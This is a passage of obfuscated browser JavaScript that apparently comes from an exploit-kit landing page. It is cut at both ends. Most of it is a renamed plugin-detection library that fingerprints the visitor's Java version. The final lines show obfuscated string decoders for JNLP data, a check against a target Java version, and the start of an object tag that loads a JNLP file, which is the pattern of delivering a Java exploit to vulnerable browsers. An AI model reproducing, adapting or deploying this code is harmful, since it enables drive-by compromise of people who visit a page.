  953.                  if (b.getVersionDone === null) {
  954.                      b.OTF = 0;
  955.                      k.mimeObj = d.hasMimeType(b.mimeType);
  956.                      if (k.mimeObj) {
  957.                          k.pluginObj = k.mimeObj.enabledPlugin
  958.                      }
  959.                      if (h) {
  960.                          h.begin()
  961.                      }
  962.                  }
  963.                  a.setVerifyTagsArray(i);
  964.                  d.file.save(b, ".jar", g);
  965.                  if (b.getVersionDone === 0) {
  966.                      if (a.should_Insert_Query_Any()) {
  967.                          e = a.insert_Query_Any(j);
  968.                          b.setPluginStatus(e[0], e[1], f, j)
  969.                      }
  970.                      return
  971.                  }
  972.                  if ((!f || d.dbug) && b.navMime.query().version) {
  973.                      f = b.navMime.version
  974.                  }
  975.                  if ((!f || d.dbug) && b.DTK.query(d.dbug).version) {
  976.                      f = b.DTK.version
  977.                  }
  978.                  if ((!f || d.dbug) && b.navPlugin.query().version) {
  979.                      f = b.navPlugin.version
  980.                  }
  981.                  if (b.nonAppletDetectionOk(f)) {
  982.                      c = f
  983.                  }
  984.                  b.setPluginStatus(c, l, f, j);
  985.                  if (a.should_Insert_Query_Any()) {
  986.                      e = a.insert_Query_Any(j);
  987.                      if (e[0]) {
  988.                          c = e[0];
  989.                          l = e[1]
  990.                      }
  991.                  }
  992.                  b.setPluginStatus(c, l, f, j)
  993.              },
  994.              nonAppletDetectionOk: function (b) {
  995.                  var d = this,
  996.                      e = d.$,
  997.                      a = d.navigator,
  998.                      c = 1;
  999.                  if (!b || !a.javaEnabled() || (!e.browser.isIE && !a.mimeObj) || (e.browser.isIE && !e.browser.ActiveXEnabled)) {
  1000.                      c = 0
  1001.                  } else {
  1002.                      if (e.OS >= 20) {} else {
  1003.                          if (d.info && d.info.getPlugin2Status() < 0 && d.info.BrowserRequiresPlugin2()) {
  1004.                              c = 0
  1005.                          }
  1006.                      }
  1007.                  }
  1008.                  return c
  1009.              },
  1010.              setPluginStatus: function (d, i, g, h) {
  1011.                  var b = this,
  1012.                      e = b.$,
  1013.                      f, c = 0,
  1014.                      a = b.applet;
  1015.                  g = g || b.version0;
  1016.                  f = a.isRange(d);
  1017.                  if (f) {
  1018.                      if (a.setRange(f, h) == d) {
  1019.                          c = f
  1020.                      }
  1021.                      d = 0
  1022.                  }
  1023.                  if (b.OTF < 3) {
  1024.                      b.installed = c ? (c > 0 ? 0.7 : -0.1) : (d ? 1 : (g ? -0.2 : -1))
  1025.                  }
  1026.                  if (b.OTF == 2 && b.NOTF && !b.applet.getResult()[0]) {
  1027.                      b.installed = g ? -0.2 : -1
  1028.                  }
  1029.                  if (b.OTF == 3 && b.installed != -0.5 && b.installed != 0.5) {
  1030.                      b.installed = (b.NOTF.isJavaActive(1) == 1 ? 0.5 : -0.5)
  1031.                  }
  1032.                  if (b.OTF == 4 && (b.installed == -0.5 || b.installed == 0.5)) {
  1033.                      if (d) {
  1034.                          b.installed = 1
  1035.                      } else {
  1036.                          if (c) {
  1037.                              b.installed = c > 0 ? 0.7 : -0.1
  1038.                          } else {
  1039.                              if (b.NOTF.isJavaActive(1) == 1) {
  1040.                                  if (g) {
  1041.                                      b.installed = 1;
  1042.                                      d = g
  1043.                                  } else {
  1044.                                      b.installed = 0
  1045.                                  }
  1046.                              } else {
  1047.                                  if (g) {
  1048.                                      b.installed = -0.2
  1049.                                  } else {
  1050.                                      b.installed = -1
  1051.                                  }
  1052.                              }
  1053.                          }
  1054.                      }
  1055.                  }
  1056.                  if (g) {
  1057.                      b.version0 = e.formatNum(e.getNum(g))
  1058.                  }
  1059.                  if (d && !c) {
  1060.                      b.version = e.formatNum(e.getNum(d))
  1061.                  }
  1062.                  if (i && e.isString(i)) {
  1063.                      b.vendor = i
  1064.                  }
  1065.                  if (!b.vendor) {
  1066.                      b.vendor = ""
  1067.                  }
  1068.                  if (b.verify && b.verify.isEnabled()) {
  1069.                      b.getVersionDone = 0
  1070.                  } else {
  1071.                      if (b.getVersionDone != 1) {
  1072.                          if (b.OTF < 2) {
  1073.                              b.getVersionDone = 0
  1074.                          } else {
  1075.                              b.getVersionDone = b.applet.can_Insert_Query_Any() ? 0 : 1
  1076.                          }
  1077.                      }
  1078.                  }
  1079.              },
  1080.              DTK: {
  1081.                  $: 1,
  1082.                  hasRun: 0,
  1083.                  status: null,
  1084.                  VERSIONS: [],
  1085.                  version: "",
  1086.                  HTML: null,
  1087.                  Plugin2Status: null,
  1088.                  classID: ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA", "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],
  1089.                  mimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"],
  1090.                  isDisabled: function (a) {
  1091.                      var c = this,
  1092.                          d = c.$,
  1093.                          b = d.browser;
  1094.                      if (!a && (!d.DOM.isEnabled.objectTag() || (b.isGecko && d.compareNums(b.verGecko, d.formatNum("1.6")) <= 0) || (b.isSafari && d.OS == 1 && (!b.verSafari || d.compareNums(b.verSafari, "5,1,0,0") < 0)) || b.isChrome)) {
  1095.                          return 1
  1096.                      }
  1097.                      return 0
  1098.                  },
  1099.                  query: function (n) {
  1100.                      var l = this,
  1101.                          h = l.$,
  1102.                          f = l.$$,
  1103.                          k, m, i, a = h.DOM.altHTML,
  1104.                          g = {},
  1105.                          b, d = null,
  1106.                          j = null,
  1107.                          c = (l.hasRun || l.isDisabled(n));
  1108.                      l.hasRun = 1;
  1109.                      if (c) {
  1110.                          return l
  1111.                      }
  1112.                      l.status = 0;
  1113.                      if (h.browser.isIE) {
  1114.                          for (m = 0; m < l.classID.length; m++) {
  1115.                              l.HTML = h.DOM.insert("object", ["classid", l.classID[m]], [], a);
  1116.                              d = l.HTML.obj();
  1117.                              if (h.getPROP(d, "jvms")) {
  1118.                                  break
  1119.                              }
  1120.                          }
  1121.                      } else {
  1122.                          i = h.hasMimeType(l.mimeType);
  1123.                          if (i && i.type) {
  1124.                              l.HTML = h.DOM.insert("object", ["type", i.type], [], a);
  1125.                              d = l.HTML.obj()
  1126.                          }
  1127.                      } if (d) {
  1128.                          try {
  1129.                              b = h.getPROP(d, "jvms");
  1130.                              if (b) {
  1131.                                  j = b.getLength();
  1132.                                  if (h.isNum(j)) {
  1133.                                      l.status = j > 0 ? 1 : -1;
  1134.                                      for (m = 0; m < j; m++) {
  1135.                                          i = h.getNum(b.get(j - 1 - m).version);
  1136.                                          if (i) {
  1137.                                              l.VERSIONS.push(i);
  1138.                                              g["a" + h.formatNum(i)] = 1
  1139.                                          }
  1140.                                      }
  1141.                                  }
  1142.                              }
  1143.                          } catch (k) {}
  1144.                      }
  1145.                      i = 0;
  1146.                      for (m in g) {
  1147.                          i++
  1148.                      }
  1149.                      if (i && i !== l.VERSIONS.length) {
  1150.                          l.VERSIONS = []
  1151.                      }
  1152.                      if (l.VERSIONS.length) {
  1153.                          l.version = h.formatNum(l.VERSIONS[0])
  1154.                      };
  1155.                      return l
  1156.                  }
  1157.              },
  1158.              navMime: {
  1159.                  $: 1,
  1160.                  hasRun: 0,
  1161.                  mimetype: "",
  1162.                  version: "",
  1163.                  length: 0,
  1164.                  mimeObj: 0,
  1165.                  pluginObj: 0,
  1166.                  isDisabled: function () {
  1167.                      var b = this,
  1168.                          d = b.$,
  1169.                          c = b.$$,
  1170.                          a = c.navigator;
  1171.                      if (d.browser.isIE || !a.mimeObj || !a.pluginObj) {
  1172.                          return 1
  1173.                      }
  1174.                      return 0
  1175.                  },
  1176.                  query: function () {
  1177.                      var i = this,
  1178.                          f = i.$,
  1179.                          a = i.$$,
  1180.                          b = (i.hasRun || i.isDisabled());
  1181.                      i.hasRun = 1;
  1182.                      if (b) {
  1183.                          return i
  1184.                      };
  1185.                      var n = /^\s*application\/x-java-applet;jpi-version\s*=\s*(\d.*)$/i,
  1186.                          g, l, j, d = "",
  1187.                          h = "a",
  1188.                          o, m, k = {},
  1189.                          c = f.formatNum("0");
  1190.                      for (l = 0; l < navigator.mimeTypes.length; l++) {
  1191.                          o = navigator.mimeTypes[l];
  1192.                          m = o ? o.enabledPlugin : 0;
  1193.                          g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : 0;
  1194.                          if (g && m && (m.description || m.name)) {
  1195.                              if (!k[h + g]) {
  1196.                                  i.length++
  1197.                              }
  1198.                              k[h + g] = o.type;
  1199.                              if (f.compareNums(g, c) > 0) {
  1200.                                  c = g
  1201.                              }
  1202.                          }
  1203.                      }
  1204.                      g = k[h + c];
  1205.                      if (g) {
  1206.                          o = f.hasMimeType(g);
  1207.                          i.mimeObj = o;
  1208.                          i.pluginObj = o ? o.enabledPlugin : 0;
  1209.                          i.mimetype = g;
  1210.                          i.version = c
  1211.                      };
  1212.                      return i
  1213.                  }
  1214.              },
  1215.              navPlugin: {
  1216.                  $: 1,
  1217.                  hasRun: 0,
  1218.                  version: "",
  1219.                  isDisabled: function () {
  1220.                      var d = this,
  1221.                          c = d.$,
  1222.                          b = d.$$,
  1223.                          a = b.navigator;
  1224.                      if (c.browser.isIE || !a.mimeObj || !a.pluginObj) {
  1225.                          return 1
  1226.                      }
  1227.                      return 0
  1228.                  },
  1229.                  query: function () {
  1230.                      var m = this,
  1231.                          e = m.$,
  1232.                          c = m.$$,
  1233.                          h = c.navigator,
  1234.                          j, l, k, g, d, a, i, f = 0,
  1235.                          b = (m.hasRun || m.isDisabled());
  1236.                      m.hasRun = 1;
  1237.                      if (b) {
  1238.                          return m
  1239.                      };
  1240.                      a = h.pluginObj.name || "";
  1241.                      i = h.pluginObj.description || "";
  1242.                      if (!f || e.dbug) {
  1243.                          g = /Java.*TM.*Platform[^\d]*(\d+)(?:[\.,_](\d*))?(?:\s*[Update]+\s*(\d*))?/i;
  1244.                          if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 10) >= 5) {
  1245.                              f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.$3 ? RegExp.$3 : "0")
  1246.                          }
  1247.                      }
  1248.                      if (!f || e.dbug) {
  1249.                          g = /Java[^\d]*Plug-in/i;
  1250.                          l = g.test(i) ? e.formatNum(e.getNum(i)) : 0;
  1251.                          k = g.test(a) ? e.formatNum(e.getNum(a)) : 0;
  1252.                          if (l && (e.compareNums(l, e.formatNum("1,3")) < 0 || e.compareNums(l, e.formatNum("2")) >= 0)) {
  1253.                              l = 0
  1254.                          }
  1255.                          if (k && (e.compareNums(k, e.formatNum("1,3")) < 0 || e.compareNums(k, e.formatNum("2")) >= 0)) {
  1256.                              k = 0
  1257.                          }
  1258.                          d = l && k ? (e.compareNums(l, k) > 0 ? l : k) : (l || k);
  1259.                          if (d) {
  1260.                              f = d
  1261.                          }
  1262.                      }
  1263.                      if (!f && e.browser.isSafari && e.OS == 2) {
  1264.                          j = e.findNavPlugin("Java.*\\d.*Plug-in.*Cocoa", 0);
  1265.                          if (j) {
  1266.                              l = e.getNum(j.description);
  1267.                              if (l) {
  1268.                                  f = l
  1269.                              }
  1270.                          }
  1271.                      };
  1272.                      if (f) {
  1273.                          m.version = e.formatNum(f)
  1274.                      };
  1275.                      return m
  1276.                  }
  1277.              },
  1278.              applet: {
  1279.                  $: 1,
  1280.                  codebase: {
  1281.                      $: 1,
  1282.                      isMin: function (a) {
  1283.                          return this.$.codebase.isMin(this, a)
  1284.                      },
  1285.                      search: function () {
  1286.                          return this.$.codebase.search(this)
  1287.                      },
  1288.                      ParamTags: '<param name="code" value="A19999.class" /><param name="codebase_lookup" value="false" />',
  1289.                      DIGITMAX: [
  1290.                          [16, 64],
  1291.                          [0, 0, 512], 0, [0, 0, 0, 256], 0, [0, 0, 0, 1],
  1292.                          [0, 0, 0, 64],
  1293.                          [0, 0, 0, 32]
  1294.                      ],
  1295.                      DIGITMIN: [1, 0, 0, 0],
  1296.                      Upper: ["999", "10", "5,0,20", "1,5,0,20", "1,4,1,20", "1,4,1,2", "1,4,1", "1,4"],
  1297.                      Lower: ["10", "5,0,20", "1,5,0,20", "1,4,1,20", "1,4,1,2", "1,4,1", "1,4", "0"],
  1298.                      convert: [
  1299.                          function (b, a) {
  1300.                              return a ? [parseInt(b[0], 10) > 1 ? "99" : parseInt(b[1], 10) + 3 + "", b[3], "0", "0"] : ["1", parseInt(b[0], 10) - 3 + "", "0", b[1]]
  1301.                          },
  1302.                          function (b, a) {
  1303.                              return a ? [b[1], b[2], b[3] + "0", "0"] : ["1", b[0], b[1], b[2].substring(0, b[2].length - 1 || 1)]
  1304.                          },
  1305.                          0,
  1306.                          function (b, a) {
  1307.                              return a ? [b[0], b[1], b[2], b[3] + "0"] : [b[0], b[1], b[2], b[3].substring(0, b[3].length - 1 || 1)]
  1308.                          },
  1309.                          0, 1,
  1310.                          function (b, a) {
  1311.                              return a ? [b[0], b[1], b[2], b[3] + "0"] : [b[0], b[1], b[2], b[3].substring(0, b[3].length - 1 || 1)]
  1312.                          },
  1313.                          1
  1314.                      ]
  1315.                  },
  1316.                  results: [
  1317.                      [null, null],
  1318.                      [null, null],
  1319.                      [null, null],
  1320.                      [null, null]
  1321.                  ],
  1322.                  getResult: function () {
  1323.                      var b = this,
  1324.                          d = b.results,
  1325.                          a, c = [];
  1326.                      for (a = d.length - 1; a >= 0; a--) {
  1327.                          c = d[a];
  1328.                          if (c[0]) {
  1329.                              break
  1330.                          }
  1331.                      }
  1332.                      c = [].concat(c);
  1333.                      return c
  1334.                  },
  1335.                  DummySpanTagHTML: 0,
  1336.                  HTML: [0, 0, 0, 0],
  1337.                  active: [0, 0, 0, 0],
  1338.                  DummyObjTagHTML: 0,
  1339.                  DummyObjTagHTML2: 0,
  1340.                  allowed: [1, 1, 1, 1],
  1341.                  VerifyTagsHas: function (c) {
  1342.                      var d = this,
  1343.                          b;
  1344.                      for (b = 0; b < d.allowed.length; b++) {
  1345.                          if (d.allowed[b] === c) {
  1346.                              return 1
  1347.                          }
  1348.                      }
  1349.                      return 0
  1350.                  },
  1351.                  saveAsVerifyTagsArray: function (c) {
  1352.                      var b = this,
  1353.                          d = b.$,
  1354.                          a;
  1355.                      if (d.isArray(c)) {
  1356.                          for (a = 1; a < b.allowed.length; a++) {
  1357.                              if (c.length > a - 1 && d.isNum(c[a - 1])) {
  1358.                                  if (c[a - 1] < 0) {
  1359.                                      c[a - 1] = 0
  1360.                                  }
  1361.                                  if (c[a - 1] > 3) {
  1362.                                      c[a - 1] = 3
  1363.                                  }
  1364.                                  b.allowed[a] = c[a - 1]
  1365.                              }
  1366.                          }
  1367.                          b.allowed[0] = b.allowed[3]
  1368.                      }
  1369.                  },
  1370.                  setVerifyTagsArray: function (d) {
  1371.                      var b = this,
  1372.                          c = b.$,
  1373.                          a = b.$$;
  1374.                      if (a.getVersionDone === null) {
  1375.                          b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
  1376.                      }
  1377.                      if (c.dbug) {
  1378.                          b.saveAsVerifyTagsArray([3, 3, 3])
  1379.                      } else {
  1380.                          if (d) {
  1381.                              b.saveAsVerifyTagsArray(d)
  1382.                          }
  1383.                      }
  1384.                  },
  1385.                  isDisabled: {
  1386.                      $: 1,
  1387.                      single: function (d) {
  1388.                          var a = this,
  1389.                              c = a.$,
  1390.                              b = a.$$;
  1391.                          if (d == 0) {
  1392.                              return c.codebase.isDisabled()
  1393.                          }
  1394.                          if ((d == 3 && !c.browser.isIE) || a.all()) {
  1395.                              return 1
  1396.                          }
  1397.                          if (d == 1 || d == 3) {
  1398.                              return !c.DOM.isEnabled.objectTag()
  1399.                          }
  1400.                          if (d == 2) {
  1401.                              return a.AppletTag()
  1402.                          }
  1403.                      },
  1404.                      aA_: null,
  1405.                      all: function () {
  1406.                          var c = this,
  1407.                              f = c.$,
  1408.                              e = c.$$,
  1409.                              b = e.navigator,
  1410.                              a = 0,
  1411.                              d = f.browser;
  1412.                          if (c.aA_ === null) {
  1413.                              if (f.OS >= 20) {
  1414.                                  a = 0
  1415.                              } else {
  1416.                                  if (d.verOpera && d.verOpera < 11 && !b.javaEnabled()) {
  1417.                                      a = 1
  1418.                                  } else {
  1419.                                      if ((d.verGecko && f.compareNums(d.verGecko, f.formatNum("2")) < 0) && !b.mimeObj) {
  1420.                                          a = 1
  1421.                                      } else {
  1422.                                          if (c.AppletTag() && !f.DOM.isEnabled.objectTag()) {
  1423.                                              a = 1
  1424.                                          }
  1425.                                      }
  1426.                                  }
  1427.                              };
  1428.                              c.aA_ = a
  1429.                          }
  1430.                          return c.aA_
  1431.                      },
  1432.                      AppletTag: function () {
  1433.                          var b = this,
  1434.                              d = b.$,
  1435.                              c = b.$$,
  1436.                              a = c.navigator;
  1437.                          return d.browser.isIE ? !a.javaEnabled() : 0
  1438.                      },
  1439.                      VerifyTagsDefault_1: function () {
  1440.                          var b = this.$,
  1441.                              a = b.browser;
  1442.                          if (b.OS >= 20) {
  1443.                              return 1
  1444.                          }
  1445.                          if ((a.isIE && (a.verIE < 9 || !a.ActiveXEnabled)) || (a.verGecko && b.compareNums(a.verGecko, b.formatNum("2")) < 0) || (a.isSafari && (!a.verSafari || b.compareNums(a.verSafari, b.formatNum("4")) < 0)) || (a.verOpera && a.verOpera < 10)) {
  1446.                              return 0
  1447.                          }
  1448.                          return 1
  1449.                      },
  1450.                      z: 0
  1451.                  },
  1452.                  can_Insert_Query: function (d) {
  1453.                      var b = this,
  1454.                          c = b.results[0][0],
  1455.                          a = b.getResult()[0];
  1456.                      if (b.HTML[d] || (d == 0 && c !== null && !b.isRange(c)) || (d == 0 && a && !b.isRange(a))) {
  1457.                          return 0
  1458.                      }
  1459.                      return !b.isDisabled.single(d)
  1460.                  },
  1461.                  can_Insert_Query_Any: function () {
  1462.                      var b = this,
  1463.                          a;
  1464.                      for (a = 0; a < b.results.length; a++) {
  1465.                          if (b.can_Insert_Query(a)) {
  1466.                              return 1
  1467.                          }
  1468.                      }
  1469.                      return 0
  1470.                  },
  1471.                  should_Insert_Query: function (e) {
  1472.                      var c = this,
  1473.                          f = c.allowed,
  1474.                          d = c.$,
  1475.                          b = c.$$,
  1476.                          a = c.getResult()[0];
  1477.                      a = a && (e > 0 || !c.isRange(a));
  1478.                      if (!c.can_Insert_Query(e) || f[e] === 0) {
  1479.                          return 0
  1480.                      }
  1481.                      if (f[e] == 3 || (f[e] == 2.8 && !a)) {
  1482.                          return 1
  1483.                      }
  1484.                      if (!b.nonAppletDetectionOk(b.version0)) {
  1485.                          if (f[e] == 2 || (f[e] == 1 && !a)) {
  1486.                              return 1
  1487.                          }
  1488.                      }
  1489.                      return 0
  1490.                  },
  1491.                  should_Insert_Query_Any: function () {
  1492.                      var b = this,
  1493.                          a;
  1494.                      for (a = 0; a < b.allowed.length; a++) {
  1495.                          if (b.should_Insert_Query(a)) {
  1496.                              return 1
  1497.                          }
  1498.                      }
  1499.                      return 0
  1500.                  },
  1501.                  query: function (f) {
  1502.                      var j, a = this,
  1503.                          i = a.$,
  1504.                          d = a.$$,
  1505.                          k = null,
  1506.                          l = null,
  1507.                          b = a.results,
  1508.                          c, h, g = a.HTML[f];
  1509.                      if (!g || !g.obj() || b[f][0] || d.bridgeDisabled || (i.dbug && d.OTF < 3)) {
  1510.                          return
  1511.                      }
  1512.                      c = g.obj();
  1513.                      h = g.readyState();
  1514.                      if (1) {
  1515.                          try {
  1516.                              k = i.getNum(c.getVersion() + "");
  1517.                              l = c.getVendor() + "";
  1518.                              c.statusbar(i.win.loaded ? " " : " ")
  1519.                          } catch (j) {};
  1520.                          if (k && i.isStrNum(k)) {
  1521.                              b[f] = [k, l];
  1522.                              a.active[f] = 2
  1523.                          }
  1524.                      }
  1525.                  },
  1526.                  isRange: function (a) {
  1527.                      return (/^[<>]/).test(a || "") ? (a.charAt(0) == ">" ? 1 : -1) : 0
  1528.                  },
  1529.                  setRange: function (b, a) {
  1530.                      return (b ? (b > 0 ? ">" : "<") : "") + (this.$.isString(a) ? a : "")
  1531.                  },
  1532.                  insertJavaTag: function (g, n, h, o, m) {
  1533.                      var e = this,
  1534.                          c = e.$,
  1535.                          k = e.$$,
  1536.                          r = "A.class",
  1537.                          b = c.file.getValid(k),
  1538.                          f = b.name + b.ext,
  1539.                          q = b.path;
  1540.                      var i = ["archive", f, "code", r],
  1541.                          l = (o ? ["width", o] : []).concat(m ? ["height", m] : []),
  1542.                          j = ["mayscript", "true"],
  1543.                          p = ["scriptable", "true", "codebase_lookup", "false"].concat(j),
  1544.                          a = k.navigator,
  1545.                          d = !c.browser.isIE && a.mimeObj && a.mimeObj.type ? a.mimeObj.type : k.mimeType[0];
  1546.                      if (g == 1) {
  1547.                          return c.browser.isIE ? c.DOM.insert("object", ["type", d].concat(l), ["codebase", q].concat(i).concat(p), h, k, 0, n) : c.DOM.insert("object", ["type", d].concat(l), ["codebase", q].concat(i).concat(p), h, k, 0, n)
  1548.                      }
  1549.                      if (g == 2) {
  1550.                          return c.browser.isIE ? c.DOM.insert("applet", ["alt", h].concat(j).concat(i).concat(l), ["codebase", q].concat(p), h, k, 0, n) : c.DOM.insert("applet", ["codebase", q, "alt", h].concat(j).concat(i).concat(l), [].concat(p), h, k, 0, n)
  1551.                      }
  1552.                      if (g == 3) {
  1553.                          return c.browser.isIE ? c.DOM.insert("object", ["classid", k.classID].concat(l), ["codebase", q].concat(i).concat(p), h, k, 0, n) : c.DOM.insert()
  1554.                      }
  1555.                      if (g == 4) {
  1556.                          return c.DOM.insert("embed", ["codebase", q].concat(i).concat(["type", d]).concat(p).concat(l), [], h, k, 0, n)
  1557.                      }
  1558.                  },
  1559.                  insert_Query_Any: function (h) {
  1560.                      var b = this,
  1561.                          d = b.$,
  1562.                          c = b.$$,
  1563.                          f = b.results,
  1564.                          i = b.HTML,
  1565.                          a = d.DOM.altHTML,
  1566.                          e, g = d.file.getValid(c);
  1567.                      if (b.should_Insert_Query(0)) {
  1568.                          if (c.OTF < 2) {
  1569.                              c.OTF = 2
  1570.                          };
  1571.                          f[0] = [0, 0];
  1572.                          e = h ? b.codebase.isMin(h) : b.codebase.search();
  1573.                          if (e) {
  1574.                              f[0][0] = h ? b.setRange(e, h) : e
  1575.                          }
  1576.                          b.active[0] = e ? 1.5 : -1
  1577.                      }
  1578.                      if (!g) {
  1579.                          return b.getResult()
  1580.                      }
  1581.                      if (!b.DummySpanTagHTML) {
  1582.                          b.DummySpanTagHTML = d.DOM.insert("", [], [], a)
  1583.                      }
  1584.                      if (b.should_Insert_Query(1)) {
  1585.                          if (c.OTF < 2) {
  1586.                              c.OTF = 2
  1587.                          };
  1588.                          i[1] = b.insertJavaTag(1, 0, a);
  1589.                          f[1] = [0, 0];
  1590.                          b.query(1)
  1591.                      }
  1592.                      if (b.should_Insert_Query(2)) {
  1593.                          if (c.OTF < 2) {
  1594.                              c.OTF = 2
  1595.                          };
  1596.                          i[2] = b.insertJavaTag(2, 0, a);
  1597.                          f[2] = [0, 0];
  1598.                          b.query(2)
  1599.                      }
  1600.                      if (b.should_Insert_Query(3)) {
  1601.                          if (c.OTF < 2) {
  1602.                              c.OTF = 2
  1603.                          };
  1604.                          i[3] = b.insertJavaTag(3, 0, a);
  1605.                          f[3] = [0, 0];
  1606.                          b.query(3)
  1607.                      }
  1608.                      if (d.DOM.isEnabled.objectTag()) {
  1609.                          if (!b.DummyObjTagHTML && (i[1] || i[2])) {
  1610.                              b.DummyObjTagHTML = d.DOM.insert("object", ["type", c.mimeType_dummy], [], a)
  1611.                          }
  1612.                          if (!b.DummyObjTagHTML2 && i[3]) {
  1613.                              b.DummyObjTagHTML2 = d.DOM.insert("object", ["classid", c.classID_dummy], [], a)
  1614.                          }
  1615.                      }
  1616.                      c.NOTF.begin();
  1617.                      return b.getResult()
  1618.                  }
  1619.              },
  1620.              NOTF: {
  1621.                  $: 1,
  1622.                  count: 0,
  1623.                  countMax: 25,
  1624.                  intervalLength: 250,
  1625.                  begin: function () {
  1626.                      var c = this,
  1627.                          b = c.$,
  1628.                          a = c.$$;
  1629.                      if (a.OTF < 3 && c.shouldContinueQuery()) {
  1630.                          a.OTF = 3;
  1631.                          c.onIntervalQuery = b.ev.handler(c.$$onIntervalQuery, c);
  1632.                          if (!b.win.loaded) {
  1633.                              b.win.funcs0.push([c.winOnLoadQuery, c])
  1634.                          }
  1635.                          setTimeout(c.onIntervalQuery, c.intervalLength)
  1636.                      }
  1637.                  },
  1638.                  shouldContinueQuery: function () {
  1639.                      var f = this,
  1640.                          e = f.$,
  1641.                          c = f.$$,
  1642.                          b = c.applet,
  1643.                          a, d = 0;
  1644.                      if (e.win.loaded && f.count > f.countMax) {
  1645.                          return 0
  1646.                      }
  1647.                      for (a = 0; a < b.results.length; a++) {
  1648.                          if (b.HTML[a]) {
  1649.                              if (!d && !b.results[a][0] && (b.allowed[a] >= 2 || (b.allowed[a] == 1 && !b.getResult()[0])) && f.isAppletActive(a) >= 0) {
  1650.                                  return 1
  1651.                              }
  1652.                          }
  1653.                      };
  1654.                      return 0
  1655.                  },
  1656.                  isJavaActive: function (d) {
  1657.                      var f = this,
  1658.                          c = f.$$,
  1659.                          a, b, e = -9;
  1660.                      for (a = 0; a < c.applet.HTML.length; a++) {
  1661.                          b = f.isAppletActive(a, d);
  1662.                          if (b > e) {
  1663.                              e = b
  1664.                          }
  1665.                      }
  1666.                      return e
  1667.                  },
  1668.                  isAppletActive: function (e, g) {
  1669.                      var h = this,
  1670.                          f = h.$,
  1671.                          b = h.$$,
  1672.                          l = b.navigator,
  1673.                          a = b.applet,
  1674.                          i = a.HTML[e],
  1675.                          d = a.active,
  1676.                          k, c = 0,
  1677.                          j, m = d[e];
  1678.                      if (g || m >= 1.5 || !i || !i.span) {
  1679.                          return m
  1680.                      };
  1681.                      j = f.DOM.getTagStatus(i, a.DummySpanTagHTML, a.DummyObjTagHTML, a.DummyObjTagHTML2, h.count);
  1682.                      for (k = 0; k < d.length; k++) {
  1683.                          if (d[k] > 0) {
  1684.                              c = 1
  1685.                          }
  1686.                      }
  1687.                      if (j != 1) {
  1688.                          m = j
  1689.                      } else {
  1690.                          if (f.browser.isIE || (b.version0 && l.javaEnabled() && l.mimeObj && (i.tagName == "object" || c))) {
  1691.                              m = 1
  1692.                          } else {
  1693.                              m = 0
  1694.                          }
  1695.                      }
  1696.                      d[e] = m;
  1697.                      return m
  1698.                  },
  1699.                  winOnLoadQuery: function (c, d) {
  1700.                      var b = d.$$,
  1701.                          a;
  1702.                      if (b.OTF == 3) {
  1703.                          a = d.queryAllApplets();
  1704.                          d.queryCompleted(a)
  1705.                      }
  1706.                  },
  1707.                  $$onIntervalQuery: function (d) {
  1708.                      var c = d.$,
  1709.                          b = d.$$,
  1710.                          a;
  1711.                      if (b.OTF == 3) {
  1712.                          a = d.queryAllApplets();
  1713.                          if (!d.shouldContinueQuery()) {
  1714.                              d.queryCompleted(a)
  1715.                          }
  1716.                      }
  1717.                      d.count++;
  1718.                      if (b.OTF == 3) {
  1719.                          setTimeout(d.onIntervalQuery, d.intervalLength)
  1720.                      }
  1721.                  },
  1722.                  queryAllApplets: function () {
  1723.                      var f = this,
  1724.                          e = f.$,
  1725.                          d = f.$$,
  1726.                          c = d.applet,
  1727.                          b, a;
  1728.                      for (b = 0; b < c.results.length; b++) {
  1729.                          c.query(b)
  1730.                      }
  1731.                      a = c.getResult();
  1732.                      return a
  1733.                  },
  1734.                  queryCompleted: function (c) {
  1735.                      var g = this,
  1736.                          f = g.$,
  1737.                          e = g.$$,
  1738.                          d = e.applet,
  1739.                          b;
  1740.                      if (e.OTF >= 4) {
  1741.                          return
  1742.                      }
  1743.                      e.OTF = 4;
  1744.                      var a = g.isJavaActive();
  1745.                      for (b = 0; b < d.HTML.length; b++) {
  1746.                          if (d.HTML[b] && d.HTML[b].DELETE) {
  1747.                              f.DOM.emptyNode(d.HTML[b].span);
  1748.                              d.HTML[b].span = null
  1749.                          }
  1750.                      }
  1751.                      e.setPluginStatus(c[0], c[1], 0);
  1752.                      if (f.onDetectionDone && e.funcs) {
  1753.                          f.ev.callArray(e.funcs)
  1754.                      }
  1755.                      if (f.DOM) {
  1756.                          f.DOM.onDoneEmptyDiv()
  1757.                      }
  1758.                  }
  1759.              },
  1760.              zz: 0
  1761.          },
  1762.          zz: 0
  1763.      }
  1764.  };
  1765.  ldklfgo.INIT();
  1766.  
  1767.  function fixNumber(num) {
  1768.      function beautify(match, number) {
  1769.          var res = "000" + match;
  1770.          return (res).substr(res.length - 3)
  1771.      }
  1772.      try {
  1773.          var n = num.split(/[\_,.]+/);
  1774.          result = n[0] + n[1].replace(/\d+/g, beautify) + n[2].replace(/\d+/g, beautify);
  1775.          return n.length > 3 ? result + n[3].replace(/\d+/g, beautify) : result;
  1776.      } catch (e) {}
  1777.  }
  1778.  if (window.sf325gtgs7sfdj) {
  1779.      function getData() {
  1780.          return CqhIUKr(GhjwbK10);
  1781.      }
  1782.  
  1783.      function getKolaio() {
  1784.          return CqhIUKr(GhjwbK11);
  1785.      }
  1786.  
  1787.      function getTxl() {
  1788.          return CqhIUKr(GhjwbK12);
  1789.      }
  1790.  
  1791.      function getJnlp() {
  1792.          return CqhIUKr(GhjwbK13);
  1793.      }
  1794.  
  1795.      function getJnlpHref() {
  1796.          return CqhIUKr(GhjwbK14);
  1797.      }
  1798.      var jv = ldklfgo.getVersion("Java"),
  1799.          targetVersion = "1.7.0.10",
  1800.          klqwght = document;;
  1801.      if (!!jv && fixNumber(jv) >= fixNumber(targetVersion)) {
  1802.          var tmp1 = '<object classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93"><param name="javafx_version" value="2.1+"/><param name="jnlp_href" value="';
